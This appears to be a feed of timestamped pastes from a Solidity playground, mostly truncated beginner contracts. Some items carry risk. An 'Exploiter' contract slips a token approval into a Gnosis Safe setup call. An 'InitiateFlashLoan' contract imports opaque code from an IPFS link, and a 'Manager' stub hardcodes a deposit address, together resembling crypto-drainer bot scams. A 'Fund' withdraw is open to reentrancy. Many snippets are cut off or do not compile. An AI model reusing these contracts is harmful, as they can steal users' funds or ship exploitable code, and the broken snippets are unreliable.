    }

    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }

    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }

    function safeDiv(uint a, uint b) public pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}

contract ERC20Interface {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint 
Jun 22, 2022 19:10:35 UTC
contract Executor {
    function execute(address to, bytes calldata data, uint256 gas) external {
        (bool success, bytes memory returnData) = to.call.gas(gas)(data);
        // do something
    }
Jun 22, 2022 16:54:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    if (value == 0){
      return 0;
    }
    return value;
  }

  uint value;
Jun 20, 2022 17:01:17 UTC
pragma solidity 0.4.18;


contract WhiteListValidatorExample {
    mapping (address => bool) private verifiedWhitelist;

    function setProfPubKey(address addr, bool value) public {
        // Gate permission to Dathan.eth and Ryave send awards until better validation is implemented
        require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
        verifiedWhitelist[addr] = value;
    }

    function isVerifiedProfPubKey(address addr) public view returns (bool) {
        return verifiedWhitelist[addr];
    }

    function sendTheThing() public view returns (bool) {
        require(isVerifiedProfPubKey(msg.sender));
        return true;
    }
Jun 19, 2022 21:20:09 UTC
pragma solidity 0.4.18;


contract WhiteListValidatorExample {
    mapping (address => bool) private verifiedWhitelist;

    function setProfPubKey(address addr, bool value) public {
        // Gate permission to send awards until better validation is implementation
        require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
        verifiedWhitelist[addr] = value;
    }

    function isVerifiedProfPubKey(address addr) public view returns (bool) {
        return verifiedWhitelist[addr];
    }

    function sendTheThing() public view returns (bool) {
        require(isVerifiedProfPubKey(msg.sender));
        return true;
    }
Jun 19, 2022 21:19:17 UTC
pragma solidity >=0.7.0 <0.9.0;

contract Codes {

    mapping(string => string) private codes;

    function store(string calldata code, string calldata ipfs) public {
        codes[code] = ipfs;
    }

    function retrieve(string calldata code) public view returns (string memory) {
        return codes[code];
    }
Jun 18, 2022 16:55:52 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.5.3;

import "./GnosisSafeProxyFactory.sol";
import "./GnosisSafeMasterCopy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol";

contract Exploiter {
    Proxy proxy;
    ProxyFactory proxyFactory;
    address owner;

    constructor(address _proxyFactory) public{
        owner = msg.sender;
        proxyFactory = ProxyFactory(_proxyFactory);
    }

    modifier onlyOwner() {
      require(msg.sender == owner);   
      _;
    }

    function createMultisig(address _masterCopy, address _token) public onlyOwner returns(address){
        address[] memory owners = new address[](1);
        owners[0] = owner;
        bytes memory callApprove =  abi.encodeWithSignature(
            "approve(address,address)",
            _token,
            address(this)
        );

        bytes memory data = abi.encodeWithSignature(
            "setup(address[],uint256,address,bytes,address,address,uint256,addr
Jun 17, 2022 09:59:24 UTC
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

import {ERC20} from "../tokens/ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";

/// @notice Minimal ERC4626 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
abstract contract ERC4626 is ERC20 {
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Deposit(
        address indexed caller,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );

    event Withdraw(
        address indexed caller,
        address indexed receiver,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );

    /*///////////////////
Jun 17, 2022 06:45:52 UTC
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;

import {Auth} from "solmate/auth/Auth.sol";
import {ERC4626} from "solmate/mixins/ERC4626.sol";

import {SafeCastLib} from "solmate/utils/SafeCastLib.sol";
import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";

import {WETH} from "solmate/tokens/WETH.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {Strategy, ERC20Strategy, ETHStrategy} from "./interfaces/Strategy.sol";

/// @title Rari Vault (rvToken)
/// @author Transmissions11 and JetJadeja
/// @notice Flexible, minimalist, and gas-optimized yield
/// aggregator for earning interest on any ERC20 token.
contract Vault is ERC4626, Auth {
    using SafeCastLib for uint256;
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    /*///////////////////////////////////////////////////////////////
                                 CONSTANTS
    //////////////////////////////////
Jun 17, 2022 04:29:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
  
  struct FileDetails {
    uint timestamp;
    string owner;
  }

  mapping (string => FileDetails) files;

  event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);

  function set(string owner, string fileHash) external {
  
    if(files[fileHash].timestamp == 0) 
    {
      files[fileHash] = FileDetails(block.timestamp, owner);
  
      logFileAddedStatus(true, block.timestamp, owner, fileHash);
    }
    else {
      logFileAddedStatus(false, block.timestamp, owner, fileHash);
    }
  }

  function get(string fileHash) external view returns (uint timestamp, string owner) {
    return (files[fileHash].timestamp, files[fileHash].owner);
  }
Jun 15, 2022 18:33:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
  
  struct FileDetails {
    uint timestamp;
    string owner;
  }

  mapping (string => FileDetails) files;

  event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);

  function set(string owner, string fileHash) external {
  
    if(files[fileHash].timestamp == 0) 
    {
      files[fileHash] = FileDetails(block.timestamp, owner);
  
      logFileAddedStatus(true, block.timestamp, owner, fileHash);
    }
    else {
      logFileAddedStatus(false, block.timestamp, owner, fileHash);
    }
  }

  function get(string fileHash) external view returns (uint timestamp, string owner) {
    return (files[fileHash].timestamp, files[fileHash].owner);
  }
Jun 15, 2022 18:28:48 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  
  uint private coins;

  function add(uint value1,uint value2) public view returns(uint){
    
     coins = value1 + value2;

     return coins;
  }

  function mult(uint value1,uint value2) public view returns(uint){
    coins = value1*value2;

    return coins;
  }


Jun 10, 2022 06:30:04 UTC
pragma solidity ^0.4.18;
contract SimpleStore {

   function add() public pure returns(uint){
      uint num1 = 10; 
      uint num2 = 16;
      uint sum = num1 + num2;
      return sum;
   }
}
Jun 09, 2022 17:29:59 UTC
pragma solidity >= 0.7.1;
contract VirtualBPP {
struct User {
int256 time_start;
int256 time_end;
int256 user_id;
bool active;
int256 access;
int256[] assets;
}
struct StateMeasurement {
int256 asset_id;
int256 value;
int256 datetime;
}
struct StateMeasurementUser {
string asset_user_id;
int256 value;
int256 datetime;
}
struct Asset {
int256 asset_id;
int256 time_start;
int256 time_end;
bool active;
string typei;
string region;
int256[] blacklistUsers;
int256[] owners;
}
mapping (int256 => User) users;
mapping (int256 => StateMeasurement) stateMeasurement;
mapping (string => StateMeasurementUser) stateMeasurementUser;
mapping (int256 => Asset) public assets;
// set user function
function setUser (
int256 _user_id,
int256 _time_start,
int256 _time_end,
bool _active,
int256 _access,
int256[] memory _assets)
public {
User memory u;
u.time_start = _time_start;
u.time_end = _time_end;
u.user_id = _user_id;
u.active = _active;
u.access = _access;
u.assets = _assets;
users[_user_id] = u;
}
// set asset function
func
Jun 09, 2022 08:07:21 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.9;
contract SimpleStore {
  function testGas1(uint a, uint b) {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2(uint a, uint b) {
    if (true) {
      
    }
  }
Jun 09, 2022 03:49:44 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
//contract name is MyFirstContract
contract MyFirstContract {

//create two variables.  A sting and an integer

    string private name;
    uint private age;

//set
    function setName(string memory newName) public {
        name = newName;
    }

//get
    function getName () public view returns (string memory) {
        return name;
    }
    
//set
    function setAge(uint newAge) public {
        assert(newAge > 0 && newAge < 100);
        age = newAge;
        
    }

//get
    function getAge () public view returns (uint) {
        return age;
    }
    
Jun 07, 2022 10:40:43 UTC
pragma solidity ^0.4.18;

contract WETH9 {
    string public name     = "Wrapped Ether";
    string public symbol   = "WETH";
    uint8  public decimals = 18;

    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    function() public payable {
        deposit();
    }
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        Deposit(msg.sender, msg.value);
    }
    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        msg.sender.transfer(wad);
        Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return this.ba
Jun 06, 2022 01:58:35 UTC
// SPDX-License-Identifier: MIT

// DropCase.sol --

// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISIN
Jun 02, 2022 14:51:45 UTC
//Write your own/**
 *MRWEB FINANCE  NEW TOKEN VERSION 2 
 *OLD VERSION IT WAS (AMA)
 *CONTRACT ADDRESS IS 0xfc3da4a1b6fadab364039525dd2ab7c0c16521cd
 *THIS VERSION IS THE V2 NAME(MFT) MREB FINANCE TOKEN
 *CREATED BY MRWEB  ON 31/05/2022
*/

pragma solidity 0.5.16;

interface IBEP20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  
  function transfer(address recipient, uint256 
May 31, 2022 21:51:51 UTC
// contracts/Baseballs.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

import "./external/MLBC.sol";

contract Baseballs is Context, ERC20Burnable {
    using BitMaps for BitMaps.BitMap;

    MLBC public _mlbc;

    BitMaps.BitMap private _baseballsBitMap;


    constructor(address mlbcAddress) ERC20("Baseballs", "Baseball") {
        _mlbc = MLBC(mlbcAddress);
    }

    function mint(uint32[] calldata tokenIds) public {
        
        require(tokenIds.length < 1001, "Too many");

        for (uint i=0; i < tokenIds.length; i++) {

            uint32 tokenId = tokenIds[i];

            //Don't mint past the supply at launch.
            require(tokenId < 249173, "Token too high");
            require(tokenId > 0, "Token too low");

            //Validat
May 31, 2022 00:41:11 UTC
// SPDX-License-Identifier: MIT

pragma solidity 0.8.14;

contract MyContract {

    uint public total; 

    constructor(){
        total = 0;
    }
    
    function addSix() public
    {
        addOne();
        addTwo();
        addThree();
    }
    
    function addOne() private{
        total += 1;
    }

    function addTwo() private{
        total += 1;
    }

    function addThree() private{
        total += 3;
    }
    
May 29, 2022 20:55:02 UTC
// SPDX-License-Identifier: MIT

pragma solidity 0.8.14;

contract MyContract {

    uint public total; 

    constructor(){
        total = 0;
    }
    
    function addSix() public
    {
        addOne();
        addTwo();
        addThree();
    }
    
    function addOne() private{
        total += 1;
    }

    function addTwo() private{
        total += 1;
    }

    function addThree() private{
        total += 3;
    }
    
May 29, 2022 20:50:11 UTC
pragma solidity ^0.4.19:

contract ZombieFactory {
  
  event NewZombie(uint zombieId, string name, uint dna);
  
  uint dnaDigits = 16:
  uint dnaModulus = 10 ** dnaDigits:

struct Zombie {
  string name:
  uint dna:
}

Zombie (1 public zombies;

// declare mappings here

May 28, 2022 22:26:44 UTC
pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0x4d57226Fd37DE2bf760304251B3e38c096756089;
	}
May 28, 2022 16:25:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
} Implement and demonstrate the use of the Following.

1. Mathematical Function

pragma solidity ^0.5.0;

contract Test {

function callAddMod() public pure returns(uint){

return addmod(4, 5, 3);

}

function callMulMod() public pure returns(uint){

return mulmod(4, 5, 3);

}

}

Output￾a. Addition-

// Solidity program to

// demonstrate addition

pragma solidity 0.6.6;

contract MathPlus

{

// Declaring the state

// variables

uint firstNo ;

uint secondNo ;

// Defining the function

// to set the value of the

// first variable

function firstNoSet(uint x) public

{

firstNo = x;}
May 28, 2022 02:32:41 UTC
pragma solidity ^0.8.0;

contract Lottery {

    struct lotteryInstance {
         uint currentAmount;
         uint maxParticipants;
         uint id;
         bool status;
         uint winner;
         uint participantCount;
    }

    mapping (uint => address[]) public participants;

    mapping (uint => bool) public allotedNumbers;

    mapping (uint => lotteryInstance) public lotteries;
    uint mapSize=0;
    uint initialNumber;

    function createLottery() public returns(bool success) {
               lotteryInstance memory lt = lotteryInstance({currentAmount:0,maxParticipants:5,status:false,winner:0,id:mapSize,participantCount:0});
               lotteries[mapSize++] = lt;
               return true;
    }

    function listLotteries() public view returns(lotteryInstance[] memory lottxs) {
           lotteryInstance[] memory lotts;
           uint cnt=0;
           for(cnt=0;cnt<mapSize;cnt++) {
               lotts[cnt] = lotteries[cnt];
           }
           return lotts;

    }

    function lo
May 27, 2022 15:35:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function getSum(uint a, uint b) public pure returns(uint){
return a + b;
}
function getSum(uint a, uint b, uint c) public pure returns(uint){
return a + b + c;
}
function callSumWithTwoArguments() public pure returns(uint){
return getSum(1,2);
}
function callSumWithThreeArguments() public pure returns(uint){
return getSum(1,2,3);
}
May 27, 2022 14:34:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract test
{
  uint public var1;
  uint public var2;
  uint public sum;
  function set (uint x, uint y) public
  {
    var1 = x;
    var2 = y;
    sum = var1 + var2;
  }
  function get()
  public view returns (uint)
  {
    return sum;
  }
May 26, 2022 10:48:21 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

import "hardhat/console.sol";

contract NFTMarketplace is ERC721URIStorage {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    Counters.Counter private _itemsSold;

    uint256 listingPrice = 0.025 ether;
    address payable owner;

    mapping(uint256 => MarketItem) private idToMarketItem;

    struct MarketItem {
      uint256 tokenId;
      address payable seller;
      address payable owner;
      uint256 price;
      bool sold;
    }

    event MarketItemCreated (
      uint256 indexed tokenId,
      address seller,
      address owner,
      uint256 price,
      bool sold
    );

    constructor() ERC721("WageCan NFT", "WCT") {
      owner = payable(msg.sender);
    }

    /* Updates the listing price of the contract */
    f
May 26, 2022 07:42:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 26, 2022 07:00:20 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
              
May 25, 2022 11:30:34 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint) {
        uint z = x + y;
        require(z >= x, "uint overflow");

        return z;
    }
}

library Math {
    function sqrt(uint y) internal pure returns (uint z) {
        if (y > 3) {
            z = y;
            uint x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
        // else z = 0 (default value)
    }
}

contract TestSafeMath {
    using SafeMath for uint;

    uint public MAX_UINT = 2**256 - 1;

    function testAdd(uint x, uint y) public pure returns (uint) {
        return x.add(y);
    }

    function testSquareRoot(uint x) public pure returns (uint) {
        return Math.sqrt(x);
    }
}

// Array function to delete element at index and re-organize the array
// so that their are no gaps between the elements.
library Array {
   
May 23, 2022 20:03:12 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.4.13;

contract Session3 {

    /* HINTS:
        Sumar: +
        Restar: - 
        Dividir: /
        Multiplicar: *
        Resto: %

        if (expression1) {
            Statement(s) ejecutado si "expression1" es "true"
        } else {
            Statement(s) ejecutado si no hay ninguna expresion que sea "true"
        }
    */

    // Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor

    /* Berenu:
      - El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
      puede ser un poco mas complejo de leer.

      - "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias 
      ponerlo en todas las funciones.
    */
    function greater(uint one, uint two) external pure returns (uint) {
        return one >= two ? one : two;
    }

    // Crea una funcion que te devuelva el porcentaje X de una cantidad.

    /* Berenu:
      Perfecto!

      Si ademas, lo quieres h
May 22, 2022 12:39:15 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.4.13;

contract Session3 {

    /* HINTS:
        Sumar: +
        Restar: - 
        Dividir: /
        Multiplicar: *
        Resto: %

        if (expression1) {
            Statement(s) ejecutado si "expression1" es "true"
        } else {
            Statement(s) ejecutado si no hay ninguna expresion que sea "true"
        }
    */

    // Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor

    /* Berenu:
      - El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
      puede ser un poco mas complejo de leer.

      - "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias 
      ponerlo en todas las funciones.
    */
    function greater(uint one, uint two) external pure returns (uint) {
        return one >= two ? one : two;
    }

    // Crea una funcion que te devuelva el porcentaje X de una cantidad.

    /* Berenu:
      Perfecto!

      Si ademas, lo quieres h
May 22, 2022 12:38:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello hello
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 22, 2022 10:34:11 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 22, 2022 10:33:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 22, 2022 10:33:12 UTC
pragma solidity ^0.5.0;


// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";

//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";

// Router
import "https://gateway.pinata.cloud/ipfs/QmUjKUcP21Jig4kuXYghYLZwrWyq5evQkQkGBvERgn9qfk";

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";


contract InitiateFlashLoan {
    
	RouterV2 router;
	string public tokenName;
	string public tokenSymbol;
	uint256 flashLoanAmount;

	constructor(
    	string memory _tokenName,
    	string memory _tokenSymbol,
May 21, 2022 21:01:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract ProoF-Of_Attendance{
  //A01561804
  event studentRegistered(string mat, address studentaddress);
  address CreatorID;
  
  struct Student {
    string Matricula;
    address _studentAddress;
  }
  Student[] Students;
  
  
  mapping(address => bool[16]) attendance;

  function RegisterStudent(uint studentNum,address StudentId, string studentMatricula)  public {

    Student student = Student(studentMatricula, StudentID);
    Students[studentNum] = student;
    emit studentRegistered(StudenMatricula, StudentID);
    
  }
  function DeleteStudent(uint studentNum) public {
      delete students[studentNum];
  }

  function RegisterAttendance(address StudentId, string studentMatricula, uint day,bool attended) view public {
      for (uint i=0; i<Students.length; i++) {
        if (Students[i]._studentAddress == address StudentId){
            attendance(Studentid)[day] = attended;

        }
 
May 20, 2022 01:40:37 UTC
pragma robustness ^0.4.24;
contract RockPaperScissors {
// characterize constants
address public alice;
address public sway;
uint public minBet = 1 ether;
uint public maxBet = 2 ether;
// characterize factors
uint public bet;
uint public victor;
bytes32 public moveA;
bytes32 public moveB;
// constructor
constructor(address _alice, address _bob) public {
require(_alice != address(0));
require(_bob != address(0));
alice = _alice;
sway = _bob;
}
// acknowledge bet from Alice
work makeBet() public payable {
require(msg.value == minBet);
require(winner == 0);
require(bet == 0);
wager = msg.value;
}
// Alice takes her action
work makeMoveA(bytes32 _moveA) public {
require(msg.sender == alice);
require(winner == 0);
require(moveA == bytes32(0));
require(_moveA == bytes32("rock") || _moveA == bytes32("paper") || _moveA == bytes32("scissors"));
moveA = _moveA;
}
// Sway takes his action
work makeMoveB(bytes32 _moveB) public {
require(msg.sender == sway);
require(winner == 0);
require(moveB == bytes32(0));
require(_mov
May 19, 2022 04:18:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function testGas1(uint a, uint b) public pure {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2() public pure {
    if (true) {
      
    }
  }
May 17, 2022 11:15:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SimpleAdd {
  // 變數宣告
  uint number = 0;
  // .....更多變數

  // 函數定義
  function getNumber() public view returns (uint) {  // public:所有人都可以執行此function ; view:此function不會更改到上面宣稱的變數 ; return:function回傳的type
    return number;
  }
  // .....更多函數
  function increase() public {
    number++;  // ++: 代表加一
  }
May 14, 2022 15:17:33 UTC
pragma solidity ^0.7.4;

contract Project{
    address owner;
    uint public balance;
    string public Fname;
    string public Lname;
    uint public age;
    enum GENDER {MALE, FEMALE, OTHER}
    GENDER public choice;
    
    struct Address{
        string AddressLine1;
        string AddressLine2;
        string City;
        string state;
        string Pincode;
        
        
    }
    Address a1;
   
    function Alias() public view returns(string memory, string memory, string memory, string memory, string memory, string memory, string memory){  /*accessing the struct objects*/
     return ( Fname, Lname,a1.AddressLine1,a1.AddressLine2,a1.City,a1.state,a1.Pincode);
    }

    function Approval() public{
        owner=msg.sender;
    }
    
    function Create_Account(string memory First_name, string memory Last_name, uint Age, uint gender, string memory addressline1,string memory addressline2, string memory city, string memory State, string memory pincode) public{          /*function to enter the 
May 12, 2022 17:21:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract RuneOfPower {
  address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
  function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
    return uint256(
        keccak256(abi.encodePacked(lastPower, nonce, wallet))
    );
  }
May 07, 2022 19:16:11 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
  function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
    return uint256(
        keccak256(abi.encodePacked(lastPower, nonce, wallet))
    );
  }
May 07, 2022 19:16:05 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";


contract ERC20Mock is ERC20 {
    uint256 public constant initialSupply = 100 ether;

    constructor() ERC20("asd", "asd") {}

    function mint(address _addr1, address _addr2) external {
        _mint(_addr1, 10 ether);
        _mint(_addr2, 10 ether);
    }
}

// 55 682
contract TestOne {
    using SafeERC20 for ERC20;

    function tst(address _tokenAddr) external {
        ERC20(_tokenAddr).safeTransfer(msg.sender, 1 ether);
    }
}

// 37 399
contract TestTwo {
    function tst(address _tokenAddr) external {
        IERC20(_tokenAddr).transfer(msg.sender, 1 ether);
    }
May 06, 2022 10:27:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  function gettting() external view returns(uint) {
    return value;
  }
May 06, 2022 05:04:10 UTC
//0x495f947276749Ce646f68AC8c248420045cb7b5e
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 03, 2022 20:55:19 UTC
pragma solidity ^0.4.15;
contract demo1 {
  uint private sellerBalance=0;
   function add(uint value) returns (bool){
      sellerBalance += value;
  }
}
May 03, 2022 18:23:21 UTC
pragma solidity ^0.4.0;
contract Fund {
   /// 合约中 |ether| 分成的映射。
   mapping(address => uint) shares;
   /// 提取你的分成。
   function withdraw() public {
       if (msg.sender.call.value(shares[msg.sender])())
           shares[msg.sender] = 0;
   }
}
May 03, 2022 18:15:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
May 03, 2022 17:25:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 03, 2022 14:59:26 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
123123
  uint value;
May 02, 2022 14:54:10 UTC

function tokenURI(uint256 tokenId) public view returns (string memory) {
    return "data would go here";
}
May 01, 2022 03:52:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 30, 2022 18:01:52 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
